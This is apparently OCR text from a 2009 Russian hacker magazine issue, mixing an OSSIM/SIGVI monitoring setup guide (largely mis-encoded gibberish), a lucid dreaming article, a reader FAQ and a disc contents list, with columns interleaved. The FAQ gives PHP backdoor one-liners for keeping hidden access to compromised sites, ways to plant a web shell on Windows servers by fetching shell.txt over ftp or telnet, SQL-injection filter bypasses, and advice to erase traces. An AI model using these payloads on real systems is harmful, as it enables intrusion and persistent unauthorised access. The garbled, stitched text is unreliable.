íèÿ, èñïîëüçóåìûå â êà÷åñòâå ñåíñîðîâ (÷åì áîëüøå òàêèõ àêòèâàöèÿ Enable full scan ïîçâîëèò ïðîâåñòè áîëåå
äàò÷èêîâ, òåì ëó÷øå). Ïîñëå óñòàíîâêè ê OSSIM ïîäêëþ÷åí ãëóáîêîå ñêàíèðîâàíèå. Çàíîñèì íàéäåííûå ñèñòåìû â
òîëüêî îäèí èíòåðôåéñ, à çíà÷èò, âñå óòèëèòû ïðîñëóøèâà- ñïèñîê êîíòðîëÿ, âñå îíè áóäóò ïîêàçàíû âî âêëàäêå Policy
þò ñåòü òîëüêî íà íåì: Æ Policy Æ Host. Ïðè íåîáõîäèìîñòè çàíîñèì äàííûå î
ñèñòåìàõ âðó÷íóþ. Èíôîðìàöèþ ïî ñåòÿì è õîñòàì çàòåì
# vi /etc/ossim/ossim_setup.conf ìîæíî èñïîëüçîâàòü ïðè íàñòðîéêå ïîëèòèê. ×òîáû óñ-
HTTP://WWW [sensor] òàíîâèòü àãåíòà íà óäàëåííóþ ñèñòåìó, ïåðåõîäèì â Tools
detectors=snare, p0f, osiris, arpwatch, Æ Downloads, ãäå â çàâèñèìîñòè îò âåðñèè ÎÑ âûáèðàåì
links snortunified, pads, ssh, pam_unix, rrd, sudo, êîìïîíåíòû, êà÷àåì è ñòàâèì.
Сайты проектов: iptables, nagios Õî÷ó îáðàòèòü âíèìàíèå, ÷òî â êàæäîé âêëàäêå äîñòóïåí
• OSSIM — ossim.net. interfaces=eth0 Help; òàì ñî ñêðèíàìè ïîêàçàíî íàçíà÷åíèå îñíîâíûõ íà-
• SIGVI — sigvi.upcnet. monitors=nmap-monitor, ntop-monitor, ossim- ñòðîåê. Äàæå ïðè áàçîâîì çíàíèè àíãëèéñêîãî ðàçîáðàòüñÿ
es, sigvi.sf.net. monitor áóäåò íåñëîæíî.
• RogueScanner Ïðè íåîáõîäèìîñòè äîáàâëÿåì è äðóãèå, ïðîñòî ïåðå÷èñ- SIGVI: КОНТРОЛЬ УГРОЗ Ïðîåêò SIGVI (sigvi.upcnet.
— www.paglo. ëèâ ÷åðåç çàïÿòóþ: es) ðàçðàáàòûâàåòñÿ â ïîëèòåõíè÷åñêîì óíèâåðñèòåòå
com/opensource/ Êàòàëîíèÿ è ïðåäñòàâëÿåò ñîáîé Open Source ïðèëîæåíèå
roguescanner. interfaces=eth0,eth1 (ëèöåíçèÿ GNU GPL), ïðåäíàçíà÷åííîå äëÿ îáíàðóæåíèÿ,
ïðåäóïðåæäåíèÿ è óïðàâëåíèÿ óãðîçàìè. Ïðèíöèï ðàáîòû
• Advisory Check — Àíàëîãè÷íûå óñòàíîâêè, òîëüêî äëÿ àãåíòîâ, èùè â ôàéëå SIGVI ïðîñò: ïðîãðàììà ïåðèîäè÷åñêè çàãðóæàåò íîâûå
advchk.unixgu.ru. agent/config.cfg. Äëÿ ïîäêëþ÷åíèÿ ê ñåðâåðó OSSIM àãåíòû îïîâåùåíèÿ îá óÿçâèìîñòÿõ (äëÿ ýòîãî èñïîëüçóþòñÿ
• С возможностями èñïîëüçóþò ïîðò 40001; èçìåíèòü åãî ìîæíî, îòðåäàêòèðî- ñòàíäàðòû CVE, CPE è CVSS ïðîòîêîëà SCAP, — ñì. âðåçêó),
SIGVI можно познако- âàâ ïàðàìåòð port: à çàòåì ïîëó÷åííàÿ èíôîðìàöèÿ â ñîîòâåòñòâèè ñ íàñòðîé-
миться на демо- êàìè ôèëüòðîâ îòïðàâëÿåòñÿ àäìèíèñòðàòîðó. Èñòî÷íèêè,
странице проекта # vi /etc/ossim/agent/config.cfg îòêóäà áåðóòñÿ ñîîáùåíèÿ, íàñòðàèâàþòñÿ âî âêëàäêå
— sigvi.upcnet.es/ [output-server] Tools — Sources. ×òîáû íå ðàññûëàòü ëèøíèå äàííûå,
demo_sigvi. enable = True SIGVI äîëæåí çíàòü îá èñïîëüçóåìûõ ñåðâèñàõ. Ýòî ìîæíî
ip = 192.168.17.10 íàñòðîèòü âðó÷íóþ èëè èñïîëüçîâàòü èíñòðóìåíò NSDi
port = 40001 (Network Services Discoverer), êîòîðûé àâòîìàòèçèðóåò
ïðîöåññ ñáîðà äàííûõ. Äëÿ êàæäîé óÿçâèìîñòè, çàòðà- НАЛИЧИЕ OCS INVENTORY ПОЗВОЛЯЕТ ПОЛУЧИТЬ ПОЛНУЮ
ãèâàþùåé îäíó èç èñïîëüçóåìûõ íà ñåðâåðàõ ïðîãðàìì, ИНФОРМАЦИЮ ПО УСТАНОВЛЕННОМУ ОБОРУДОВАНИЮ И
SIGVI ñîçäàåò ñîîáùåíèå òðåâîãè (alert). Ïðèíèìàåòñÿ ПРОГРАММНОМУ ОБЕСПЕЧЕНИЮ
âî âíèìàíèå ôàêòîð ðèñêà è ñâîéñòâà ñåðâèñà. Ôàêòîð
ðèñêà ðàññ÷èòûâàåòñÿ íà îñíîâàíèè âåêòîðà CVSS. Âåêòîð
ïðèìåíÿåò êëàññèôèêàöèþ ïî øêàëå êðèòè÷íîñòè 0 — 10, Êîððåêòèðóåì ïåðåìåííûå â conf/app.conf.php:
îïðåäåëÿþùåé ñòåïåíü ðèñêà (êñòàòè, ýòè äàííûå èñïîëü- INFO
çóåò ñêàíåð Nessus è äðóãèå ïîäîáíûå ðåøåíèÿ). Ïðè ýòîì # vi /var/www/sigvi/conf/app.conf.php
ó÷èòûâàåòñÿ äîñòóï (ëîêàëüíûé, óäàëåííûé), ñëîæíîñòü define("HOME","/sigvi"); // äîìàøíèé êàòàëîã
àòàêè (êâàëèôèêàöèÿ àòàêóþùåãî, íàñòðîéêè ñèñòåì define("ADM_EMAIL","sigvi <root@localhost>");
è ò.ï.), àóòåíòèôèêàöèÿ, íàëè÷èå ðàáî÷åãî ýêñïëîèòà, // ïî÷òà àäìèíà info
îáíîâëåíèé, çàêðûâàþùèõ óÿçâèìîñòü è ïðî÷èå ïàðàìåò- define("SERVER_URL","http://localhost"); // • OSSIM позволяет
ðû. Ïîëíîå îïèñàíèå ñòàíäàðòà CVSS òû íàéäåøü íà ñàéòå URL ñåðâåðà наблюдать за узлами
Security Lab (www.securitylab.ru/analytics/355336. // òèï ÁÄ — mysql, mysqli, postgres, oracle, в сети и их взаимо-
php). À âîò ÷òîáû îïðåäåëèòü, â êàêèõ ñëó÷àÿõ îïîâåùàòü âñå âàðèàíòû îïèñàíû â include/dbms действиями, получать
àäìèíèñòðàòîðà, èñïîëüçóþòñÿ ôèëüòðû. Íàïðèìåð, èõ define("DBType","mysqli"); отчет об аномалиях,
ìîæíî íàñòðîèòü òàê, ÷òî ñîîáùåíèå áóäåò ãåíåðèðîâàòüñÿ // óçåë, íà êîòîðîì íàõîäèòñÿ ÁÄ выявленных
òîëüêî ïðè íàëè÷èè ãîòîâîãî ýêñïëîèòà. Âñå ïîëó÷åííûå define("DBServer","localhost"); в системе, например,
ïðåäóïðåæäåíèÿ çàíîñÿòñÿ â áàçó äàííûõ è äîñòóïíû â define("DBName","sigvi"); смене MAC-адреса,
ëþáîå âðåìÿ. Ðåàëèçîâàí ïîèñê ïî íåñêîëüêèì êðèòåðèÿì // ïîëüçîâàòåëü è ïàðîëü (ìåíÿåì îáÿçàòåëüíî) изменении версии
è áîëüøîå êîëè÷åñòâî îò÷åòîâ. define("DBUser","sigvi"); ОС или службы.
Èíòåðôåéñ SIGVI íàïèñàí ïðè ïîìîùè PHP5, è äëÿ óñòàíîâ- define("DBPass","NEWpassword");
êè ïîäîéäåò ëþáàÿ LAMP (Linux+Apache+MySQL+PHP5) // òèï àóòåíòèôèêàöèè, ïî óìîë÷àíèþ âíóòðåí- • Для быстрой
ñèñòåìà.  êà÷åñòâå áàçû äàííûõ ìîãóò áûòü èñïîëüçîâàíû íèé, ìîæíî âûáðàòü LDAP установки OSSIM
MySQL, PostgreSQL, SQL Server, Oracle, Informix è íåêîòî- define("authMethod","dbms"); лучше использовать
ðûå äðóãèå ÑÓÁÄ. Ñàì ïðîöåññ óñòàíîâêè, ìîæíî ñêàçàòü, //define("ldapServer","ldaps://your.ldap. AlienVault Open
ñòàíäàðòåí äëÿ ïðîãðàìì òàêîãî ðîäà. Ðàñïàêîâûâàåì server"); Source SIM Installer,
àðõèâ â êîðíåâîé êàòàëîã âåá-ñåðâåðà è óñòàíàâëèâàåì который построен на
íóæíûå ïðàâà (âåá-ñåðâåð ó ìåíÿ ðàáîòàåò îò èìåíè www- Èçìåíèâ ïàðîëü â ôàéëå, íå çàáûâàåì îáíîâèòü åãî â áàçå Debian и включает
data): äàííûõ: все необходимое.
$ sudo tar xzvf sigvi-1.3.02b.tgz -Ñ /var/www/ mysql> UPDATE user SET Password=PASSWORD
$ sudo chown -R www-data:www-data /var/www/ ('NEWpassword') WHERE user='sigvi';
$ sudo chmod -R 750 /var/www/sigvi
Êàê âèäíî èç êîíôèãà, äîñòóï ê SIGVI âîçìîæåí ïî çàïèñÿì
Ñîçäàåì áàçó äàííûõ ñ òàáëèöàìè: âíóòðåííåé áàçû ïîëüçîâàòåëåé èëè âíåøíåé (LDAP,
ÑÓÁÄ).
$ mysql -u root -p < sigvi-1.3.02b.sql  ïðîãðàììå ðåàëèçîâàíî òðè ãðóïïû ïîëüçîâàòåëåé
PSYCHO:
ÒÀ É Í Û Å ÂÐÀÒÀ Â Ö À Ð Ñ Ò ÂÎ ÌÎÐ ÔÅ ß
Òå î ð è ÿ è ï ð à ê ò è ê à î ñ î ç í à í í û õ ñ í î â è ä å í è é
Íî÷üþ æèçíü ïðîäîëæà- причина, чтобы всерьез интересоваться детали реального мира, плюс ощущения от
åòñÿ Большинство не воспринимают своими снами и запоминать их. Речь идет о всех остальных органов чувств. Чтобы все это
сновидения всерьез. В современном обществе осознанном сновидении. не пропадало зря, необходимо подчинить всю
интерес к сновидениям как к явлению в целом мощь ночного сознания собственной воле!
отсутствует. Они почитаются за некие галлю- ЗАЧЕМ НУЖНА
цинации, которые зачем-то мелькают в голове ОСОЗНАННОСТЬ? НЕМНОГО ТЕОРИИ
ночью. Проснувшись, человек с трудом может Осознанное сновидение (ОС) — это такое Прежде чем приступить к опытам со своим
припомнить, что же ему снилось. Многие не- сновидение, в котором человек знает, что мозгом, необходимо четко представлять, что
способны вспомнить с утра свои сны, поэтому он спит и поэтому может контролировать такое обычное сновидение, какими свой-
утверждают, что не видят их вообще. Эти люди ситуацию. Ну и что, спросишь ты. Что такого ствами оно обладает, и во что, собственно,
ошибаются, — доказано, что сновидения интересного в том, чтобы знать, что ты спишь? мы собираемся там вмешиваться. Следует
снятся всем нормальным людям, не имеющим А то, что это состояние фундаментальным уяснить также физиологический аспект
редких тяжелых повреждений мозга. образом отличается от обычного состояния сновидений — в какое именно время ночи воз-
У обычного человека сновидения представля- во сне, когда человек «смотрит кино». В со- никают наиболее продолжительные и яркие
ют собой серию невнятных образов, пронося- стоянии осознанности открывается неогра- видения, и когда, напротив, их появление наи-
щихся в голове во время сна в виде какого-то ниченная свобода самовыражения. Когда ты менее вероятно. Изучив свойства обычного
бредового фильма, который, к тому же, еще и ставишь сновидение под контроль, ты больше сновидения «изнутри и снаружи», мы получим
сложно запомнить. Поэтому в обществе фор- не скован рамками объективной реально- необходимую информацию, как превратить
мируется модель поведения, направленная сти! Фактически, ты получаешь виртуальную его в необычное — полностью контролируе-
на вытеснение информации, полученной из вселенную, которая находится полностью в мое разумом. Понадобится найти способы
сновидений. На самом деле трудно пред- твоем распоряжении и к тому же располагает- натренировать память так, чтобы сны не
ставить, для чего обычному человеку может ся внутри тебя. И принадлежит этот мир тебе улетучивались из нее на первых минутах после
понадобиться помнить и анализировать свои одному. Практикуя осознанные сновидения, пробуждения.
сны. Можно увлекаться, к примеру, толкова- ты извлекаешь пользу из ежесуточного со- Мозг человека во сне пребывает в одном из
нием снов, но у здравомыслящего человека стояния неподвижности и бездействия под двух возможных состояний — в фазе медлен-
подобное увлечение быстро проходит после названием сон, в котором вынужден нахо- ного (глубокого) сна и в фазе быстрого (пара-
того, как он понимает, что все сонники со- диться треть своей жизни. Можно сказать, у доксального) сна. Быстрый сон еще называют
держат разные толкования разных образов, каждого человека в голове есть компьютер, фазой быстрых движений глаз (БДГ), потому
и выяснить реальное значение сновидения который превосходит по мощности любую из что во время этой фазы можно наблюдать,
по ним невозможно. Да и кто сказал, что сны созданных человеком вычислительных ма- как у человека шевелятся глаза под веками.
должны иметь какое-либо значение? шин. Каждую ночь мозг генерирует картинку С момента засыпания и до пробуждения мозг
Но существует, по крайней мере, одна стоящая высшей степени достоверности, повторяющую несколько раз переходит из одного состояния
в другое. Быстрый сон занимает сновиденную память помо- память. Имея на руках дневник с ность или сон?». Нужно замечать
20-25% от общего времени, и гает дневник, который нужно несколькими десятками записей необычные события вокруг и
именно в этом состоянии возника- вести каждый день. В дневник сновидений, можно проанализи- уметь анализировать их; прики-
ют наиболее яркие и запоминаю- записываются сюжеты всех ровать их и выявить общие момен- дывать, могут ли они происходить
щиеся сновидения. Возникнове- сновидений, которые удалось ты — пригодится, когда ты станешь в объективной реальности, или
ние сновидений как таковых не припомнить после сна. Записи вырабатывать свою собственную же они возможны только во сне.
связано именно с БДГ и возможно в дневник вносятся непосред- методику входа в ОС. Анализируя Наконец, полезно знать несколь-
в любое время с момента засы- ственно после пробуждения свои сны, можно выяснить, в чем ко примет, которые с большой ве-
пания. За ночь у человека бывает — это первое, что необходимо их отличие от реальности, и ис- роятностью указывают человеку
4-5 фаз быстрого сна. К концу сделать, когда ты проснулся. пользовать это в дальнейшем. на то, что он находится во сне.
ночи длительность периодов Если не записать сон сразу Есть такие события, которые
быстрого сна возрастает, поэтому после того, как проснулся, то ОТЛИЧИЯ СНА редко или практически никогда
наиболее длительные и яркие через несколько минут вспом- ОТ РЕАЛЬНОСТИ не происходят с человеком наяву,
сновидения человек испытывает нить его намного сложнее. Когда человек не спит, он просто зато случаются в сновидениях.
непосредственно перед пробуж- Записывать сюжет можно не живет, не задумываясь, сон это или Подмечено, что во сне возника-
дением. Поздние сновидения, к полностью, а только ключе- реальность, но и все, что проис- ют трудности с чтением (центр
тому же, легче запомнить. Таким выми словами, такими, чтобы ходит во сне, ты воспринимаешь мозга, отвечающий за чтение,
образом, вторая половина ночи взглянув на них, мозг сам вы- как обычную жизнь. Во сне часто спит). Сновидец начинает читать
более благоприятна для экспери- таскивал из памяти описанное находишься в привычных местах, какую-либо книгу или надпись,
ментов со сновидениями. ими сновидение. занимаешься обычными вещами, но не может понять смысл про-
Через пару недель практики видишь знакомых людей. Даже читанного. Буквы прыгают, ме-
СНОВИДЕННАЯ сновиденная память намного если это не так, даже если тебе няются, принимают незнакомые
ПАМЯТЬ улучшается, и при пробуждении снятся кошмары или какие-то очертания. Стоит отвести взгляд
Нет смысла в практике осо- становится возможным вспом- фантастические события, то ты от надписи, а затем посмотреть
знанных сновидений, если ты нить не один, а несколько раз- скорее примешь это как данное, на нее снова — и надпись уже
не способен запомнить их после личных сюжетов — от двух до чем усомнишься в реальности совсем другая. Иногда человеку
пробуждения. Без развитой шести-семи (в редких случаях происходящего. В этом причина кажется, что все понятно, но, про-
сновиденной памяти обрести яс- даже больше). Как только спо- того, что ночные кошмары реаль- снувшись, он не может сформу-
ность ума во сне практически собность запоминать сновиде- но пугают. Переход от обычного лировать смысл прочитанного.
невозможно, да и нет ника- ния оказывается развитой на сновидения к осознанному — Такие же проблемы возникают с
кой разницы, что происходит должном уровне, не прекращай сложная задача. Необходимо цифрами на электронных часах
ночью, если наутро все равно вести дневник. Нужно и дальше выработать умение задавать — их невозможно разобрать. В
ничего не помнишь. Развить поддерживать свою сновиденную вопрос: «все вокруг — реаль- помещении нельзя включить
Фазы сна
ния. Не секрет, что если человека нужно пробовать разные способы, Первые опыты с ОС, скорее всего, ДРУГОЙ МИР
разбудить среди ночи и заставить сочетать их. Когда один из них будут наиболее эмоциональны, ИЛИ ИЛЛЮЗИЯ?
встать, то самым большим его сработает (далеко не сразу), можно необходимое спокойствие придет Исследователи осознанных сно-
желанием в этот момент будет лечь будет в дальнейшем использовать с опытом. видений делятся на два лагеря.
обратно и снова заснуть. Если только его. Другие проблемы связаны с тем, Одни придерживаются научного
позволить это сделать, человек Когда найден оптимальный способ что человек, попадая в ОС, хочет подхода, другие связывают яв-
заснет гораздо быстрее, чем когда входа в ОС, на первый план вы- делать невозможные вещи, все и ление ОС с различными эзотери-
он ложился спать в первый раз. За- ходит другая проблема. Основ- сразу. Например, улететь в кос- ческими учениями. Среди прак-
снув, он вернется в ту же фазу сна, ной вопрос на этом этапе — как мос и посмотреть оттуда на нашу тикующих осознанные сны есть
из которой проснулся. Во второй удержаться в ОС продолжительное планету. Тут в дело вступают немало последователей Карлоса
половине ночи наблюдаются
продолжительные периоды фазы
БДГ. Нужно завести будильник ЕСЛИ ТЫ ПРОСНУЛСЯ И ЗАПОМНИЛ ДОСТАТОЧ-
так, чтобы он разбудил тебя
как раз в эту фазу. Как угадать? НО ЯРКИЙ СОН, ТО, СКОРЕЕ ВСЕГО, В НЕГО ТЫ И
Никак, можно полагаться лишь на
статистическую вероятность. Если ВЕРНЕШЬСЯ, КОГДА ЗАСНЕШЬ. ПОЭТОМУ, ПРО-
ты проснулся ночью и запомнил
достаточно яркий сон, то, скорее СНУВШИСЬ, НУЖНО ВСТАТЬ, НЕСКОЛЬКО МИНУТ
всего, в этот сон ты и вернешься,
когда заснешь. Поэтому, про- ПОХОДИТЬ, ЧТОБЫ МОЗГ ВСЕ-ТАКИ НЕМНОГО ПРО-
снувшись ночью, нужно встать,
несколько минут походить, чтобы СНУЛСЯ, И СНОВА ЛЕЧЬ.
мозг все-таки немного проснулся,
и снова лечь. В этот момент нужно время, чтобы успеть вдоволь по- разные психологические блоки, Кастанеды. Разные группы
сосредоточиться и попробовать экспериментировать и получить накопленные за годы жизни, и с эзотериков-исследователей
сделать так, чтобы снова оказаться максимум впечатлений? Первые первого раза, бывает, не удается утверждают, что возможно про-
в сновидении, но при этом сохра- ОСы редко длятся дольше несколь- достигнуть намеченной цели. никнуть в сны другого человека,
нить сознание как при бодрствова- ких минут, — тем не менее, этого Сновидец может жаловаться, к встретиться с существами из
нии. Практика показывает, что это хватает, чтобы после пробуждения примеру, на «потолок», который иного мира, самому посетить
очень сложно, и на это способны быть в восторге от того, что побы- возникает из ниоткуда и мешает другие миры, а также отделиться
далеко не все. Можно читать от- вал в иной реальности и вернулся улететь достаточно высоко от от тела и побродить по реально-
четы тех, кто утверждает, что им это обратно. Конечно же, хочется еще земли. Проблемы такого рода сти в образе призрака, возможно
удалось, и пробовать повторять за и побольше. Как этого добиться? решаются экспериментами, тре- даже увидев себя спящего со
ними. Обычно рассказывают о кон- Ценным качеством сновидца нировками и самовнушением. стороны. Ничто из перечислен-
центрации на зрительных образах является невозмутимость. Не сле- Существуют особые состояния, ного не доказано наукой и вряд
и о каком-то особом расслаблении дует давать волю эмоциям, когда связанные с процессом сна, ли когда-нибудь будет доказано.
тела. ты находишься во сне и достиг — сами по себе они довольно Суть осознанных сновидений
осознанности. Восторги приводят неприятные и пугающие, но такова, что там можно уви-
ПРОБЛЕМЫ к выбросу адреналина и пробужде- могут помочь в деле достижения деть то, во что веришь наяву.
Если посмотреть в Сети тематиче- нию. Если же оставаться спокой- осознанности. Это сонный пара- Увиденное, в свою очередь, еще
ские форумы, где общаются сно- ным и не дергаться, то запросто лич, ложные пробуждения (смотри больше укрепляет веру. Так что,
видцы, то раздел «Способы входа можно удержаться в осознанном врезки) и гипнагогические образы практикуя осознанные сновиде-
в ОС» будет содержать десятки сновидении на всем протяжении (образы, возникающие перед за- ния, не стань пленником своих
различных методов. Для начала БДГ-фазы, а это десятки минут. сыпанием). иллюзий. z
faq
united
@real.xakep.ru
Q: Не удовлетворен результатами, которые Для проверки любого сайта просто вбей его php?a=eval(phpinfo())
предлагает сервис www.myipneighbors.com адрес в соответствующее окошко. #---#
и ему подобные. Подскажи, как еще можно Также подробнейшую информацию о нужном $a=call_user_func($_
наиболее достоверно узнать, какие сайты хос- домене и его соседях тебе предоставит еще REQUEST[a],'',$_REQUEST[a]);
тятся на одном сервере с жертвой? один сервис — http://www.robtex.com/dns. $b=call_user_func($a);
A: В твоем случае могу посоветовать замеча- Здесь, как видно из URL, поиск происходит на echo($b); // script.php?a=create_
тельный сервис http://spyonweb.com, который основе информации о dns сайта жертвы. function&a=return eval($_
собирает и структурирует информацию о REQUEST[b]);&b=phpinfo();
сайтах из открытых источников. Q: Возвращаясь к вопросу о протроянивании #---#
Собирается такая информация, как: IP-адреса, скриптов. Какие еще способы ты знаешь? $a=call_user_func($_REQUEST[a],$_
идентификаторы Google Adsense, иденти- A: Помимо способа, описанного в предыдущем REQUEST[b]);
фикаторы Google Analytics, идентификаторы факе (наиболее подходящего для SEO и со- echo($a); // script.
Yahoo Publisher Network, идентификаторы крытия инклудов), существует еще множество php?a=phpinfo&b=-1
Яндекс.Директ. способов оставить небольшого и незаметного #---#
На основе совпадений IP-адреса, реклам- червячка в скриптах на случай утери доступа/ usort ($_REQUEST['a'], $_
ных идентификаторов и идентификаторов шелла к ним: REQUEST['b']); // script.php?a[]=-
сервисов статистики и делается вывод о 1&b=phpinfo
принадлежности группы сайтов одному <?php #---#
серверу. $a($b); //register_globals = On, array_map($_REQUEST[a],$_
На данный момент сервисом проиндексиро- êîä âûïîëíÿåòñÿ ñëåäóþùèì îáðàçîì: REQUEST[b]); //script.php?a=-1-
вано более 107 миллионов доменов, из них: script.php?a=assert&b=phpinfo(); &b[]=phpinfo
9 105 180 сайтов с кодом Google Analytics, 4 #---# #---#
262 150 сайтов с кодом Google AdSense, 20 406 $new = create_function('$x', assert($_REQUEST['a']); //script.
сайтов с кодом Yahoo Publisher Network, 13 448 "return $_REQUEST[a];"); php?a=phpinfo();
— Yandex Direct. $new(0); // script. #---#
на системе, используй их грамотно и никогда ния SQL-запросов тебе надо залогиниться в com/p/haraldscan). Написанный на питоне
не забывай подчищать следы своего пребыва- интерактивном шелле в клиент psql: с использованием библиотеки Pybluez, он
ния на системе :) быстро выдает MAC-адреса всех находящихся
psql -d base -U pg_admin -W pg_ в округе устройств, их тип, а также пытается
Q: Как залить шелл на винде? Ведь там нет моих admin_password определить по маку производителя.
любимых wget и curl :'(.
A: Для твоего сабжа на винде существует не Дампить базы postgresql можно так: Q: Хочу написать сканер безопасности для
меньшее количество вариантов, чем в никсах. элементов, написанных на Flash. Поискал в ин-
Смотри некоторые из них: pg_dump dbname > dbname.sql тернете и ничего подобного не нашел. Оцените
1. Знакомый тебе по никсам echo — идею.
А восстановить сохраненную базу так: A: Спору нет, идея хороша, а вот гуглишь
echo ^<? eval($_REQUEST[cmd]); ?^> ты не ахти :). С реализацией ты самую
> shell.php cat dbname.sql | psql dbname малость опоздал, потому что я вспомню, как
минимум, несколько специализированных
2. Банальный ftp — В обоих случаях система попросит у тебя сканеров для тех элементов веб-сайтов,
пароль. которые написанны на Flash. Ребята из HP
>ftp Web Security Research Group разработали
ftp> open localhost Q: Благодаря вам я начал писать на Python'е. утилиту HP SWFScan (https://h30406.www3.
Connected to localhost Простые скрипты, например, для автоматиза- hp.com/campaigns/2009/wwcampaign/1-
Microsoft FTP ции подчистки логов я уже легко пишу, но все 5TUVE/index.php?key=swf), которая
User (x.x.x.x:(none)): x чаще появляется желание перевести на Python декомпилирует SWF-файлы, извлекает
230 User logged in, proceed. и свои PHP-проекты. Подскажи, как наиболее все сценарии на ActionScript, после чего
ftp>get http://site.com/shell.txt правильно писать веб-приложения на Python? анализирует код в поиске потенциально
Как их прикрутить к серверу? узявимых мест. Приятно, что, помимо этого,
3. Любимый тобой telnet — A: Пожалуй, самый простой и во многом один SWFScan предлагает вариант исправления
из самых правильных вариантов — исполь- ошибки.
telnet site.com 80 -f shell.php зовать хостинг, который поддерживает WSGI
(Web Server Gateway Interface). «Виски» — Q: Есть возможность получить бесплатную
GET /shell.txt HTTP/1.1 это специальный стандарт взаимодействия виртуальную машину в одном из датацен-
Accept: */* между программой на Python, выполняю- тров. Ресурсы будут сильно ограничены,
Accept-Language: ru щейся на стороне сервера, и самим веб-сер- поэтому вопрос: что вообще с ней можно
Host: site.com вером, например, Apache. WSGI описывает сделать?
Proxy-Connection: Keep-Alive конкретные правила того, как должны A: Самая большая проблема большинства
взаимодействоать между собой веб-сервер виртуальных машин — это производитель-
Q: Нашел sql-инъекцию, но злые админы поста- и веб-приложение. На практике — это просто ность дисковой подсистемы. Если что-то
вили на фильтрацию на пробел. Существуют ли описание функции вызова приложения абс- работает с HDD, то работает медленно.
аналоги пробела в sql-запросах? трактным сервером: формата передаваемых С другой стороны, если программа не
A: Еще как существуют! Вот наиболее часто параметров и формата возврата значений выполняет операции ввода-вывода, то
применяемые способы для замены пробела: этой функции. Приложение, написанное использовать ее, даже в рамках виртуаль-
1. + или %2B; на WSGI, не знает кто его вызвал, т.е. для ной машины, можно на полную катушку. По-
2. табуляция " " или %09; него абсолютно все равно, запущен ли он на нятно, что ресурсоемкие задачи виртуалке,
3. возврат каретки " " или %0D; mod_python под Apache или как FastCGI, или скорее всего, не потянуть, а вот, например,
4. перевод строки %0A; как CGI. Приложение и сервер выделяются в работу с сетью — запросто. На одном из
5. комментарий /**/ разные абстракции. моих виртуальных серверов я использую
6. скобки: select(1)from(users)where(id=1) Помимо этого стандарт описывает так назы- несколько линуксовых утилит для марш-
ваемые middleware-компоненты, предостав- рутизации. А на другом — инструмент для
Q: Слышал, что в MySQL возможно разделение ляющие интерфейсы как приложению, так балансировки нагрузки на веб-серверы
запросов через «;». Расскажи, как это возмож- и серверу. То есть для сервера middleware HAProxy (haproxy.1wt.eu) и средство для
но? является приложением, а для приложе- мониторинга сетевой активности Cacti
A: Действительно, поддержка нескольких ния — сервером. Это позволяет составлять (www.cacti.net).
запросов в мускул осуществима при несколь- «цепочки» из WSGI-совместимых middleware,
ких условиях: каждая из которых выполняет свою функцию Q: Как сдампить свой трафик, передаваемый
1. Версия MySQL >= 4.1; (балансировка нагрузки, обработка сессий, по SSL?
2. Для подключения к базе данных использу- авторизаций и т.д.) A: Тебе поможет утилита SSHole (thekonst.
ется функция mysql_real_connect() с парамет- net/ru/sshole). Эта небольшая программа,
ром CLIENT_MULTI_STATEMENTS. Q: Подскажи, хороший сканер Bluetooth-уст- которая может пригодиться для отладки про-
Если на выходе будет несколько результа- ройств в эфире. Чем больше он может выдать токолов, защищенных с помощью SSL. При
тов, то необходимо использовать параметр информации — тем лучше. запуске она ждет соединения на заданном
CLIENT_MULTI_RESULTS, а переключаться A: На самом деле, ничего не стоит напи- порту, а затем, при получении входящего
между ними можно с помощью функции сать такой сканер самому. Пример про- соединения от клиента, соединяется с ори-
mysql_next_result(). стого скрипта на Python ты можешь найти гинальным сервером и работает прозрачно
в одной из статей Сквозного (www.xakep. как прокси. Отличие в том, что весь трафик
Q: Каким образом в командной строке можно ru/magazine/xa/104/030/1.asp). Впрочем, копируется локально на stdout. SSHole
работать с PostgreSQL? есть намного более проработанные утилиты, может обрабатывать несколько соединений
A: Очень просто! Для простейшего выполне- например, сканер Haraldscan (code.google. одновременно. z
x 10 (ОКТЯБРЬ) 2009
Mozilla Firefox 3.5.3 Google SketchUp 7.1 boost 1.40.0 MySqloit 0.1
Notepad++ 5.5.5 iTunes 9.0.1 Glom 1.12.0 SQID 0.3
ОКТЯБРЬ 10 (130) 2009
Opera 10.00 Jaangle 0.97 graudit 1.2 SQL Power Injector 1.2
PuTTY 0.60 Logon Controller KDbg 2.2.0 Sqlbftools 1.2
QIP 2005 Build 8095 MetatOGGer 3.9.3.0 KDiff3 0.9.95 SQLBrute
Skype 4.04.0 MurGeeMon Kohana 3.0 SQLIer 0.8.2b
Total Commander 7.04a Picasa 3.5 libglade 2.0.1 Sqlmap 0.7
Unlocker 1.8.7 Pitch Perfect Guitar Tuner liboggz 1.0.0 SQLNinja 0.2.3
Xakep CD DataSaver 5.2 PlusOffice Free 2009 3.0 libusb 1.0.3
XnView 1.96.2 Viewer2 nwcc 0.8 >Server
PyDev 1.5.0 Apache 2.2.13
>Development >Net sdcc 2.9.0 Asterisk 1.6.1.6
Aptana Studio 1.5.1 Cookienator 2.5.32 Source Navigator 6.0 BIND 9.5.2
AQtime 6.21 Google Chrome 3.0 Tora 2.1.0 CUPS 1.4.1
CodeIgniter 1.7.2 JStock 1.0.4j Umbrello 1.5.8 DeleGate 9.9.4 «¡¬¡±®
EmEditor 8.06 SpeedyFox 1.3 Vaadin 6.1.1 DHCP 4.1.1b2
Firebird 2.1.3 Spiffy 0.3.4 GAdmin-DHCPD 0.4.6
Geany 0.18 Thunderbird 2.0.0.23 >Games MySQL 5.1.39 ЧУЖОГО
Google App Engine SDK 1.2.5 CuteMaze 1.1.0 OpenLDAP 2.4.18
Intype 0.3.1 >Security The Legend of Edgar 0.31 OpenSSH 5.2
¯¦ª§
JDK 6 Update 16 with NetBeans Cookienator 2.5.32 OpenVPN 2.0.9
ТРАФИКА
6.7.1 Google Chrome 3.0 >Net PostgreSQL 8.4.1 И ДРУГИЕ СЕКРЕТЫ
Jython 2.5.1 JStock 1.0.4j aMule 2.2.6 Rspamd 0.2.7
§ª©¯
ÐÅÀ ËÈÇÀÖÈß
ПСЕВДОБЕЗОПАСНОЙ
MonoDevelop 2.2b1 SpeedyFox 1.3 Appkonference 1.2 Samba 3.4.1 SQL-INJECTION
Pida 0.4.4 Spiffy 0.3.4 Choqok 1.0 Sendmail 8.14.3 ТЕХНОЛОГИИ
Portable Python 1.1 Thunderbird 2.0.0.23 DRadio 3.4 SpamCheck 0.6.5 СТР. 26
 POSTGRESQL
pydee 0.4.23 Ekiga 3.20 Squid 3.0.STABLE19 ÑÒÐ. 76
